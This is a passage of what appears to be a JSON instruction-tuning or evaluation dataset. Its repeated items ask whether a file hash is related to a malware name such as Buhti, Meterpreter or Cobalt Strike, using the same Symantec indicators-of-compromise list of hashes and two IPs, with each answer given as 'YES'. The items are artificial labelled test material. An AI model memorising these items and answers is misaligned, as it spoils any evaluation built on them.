Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72\n### Target Entity: Cobalt Strike\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti 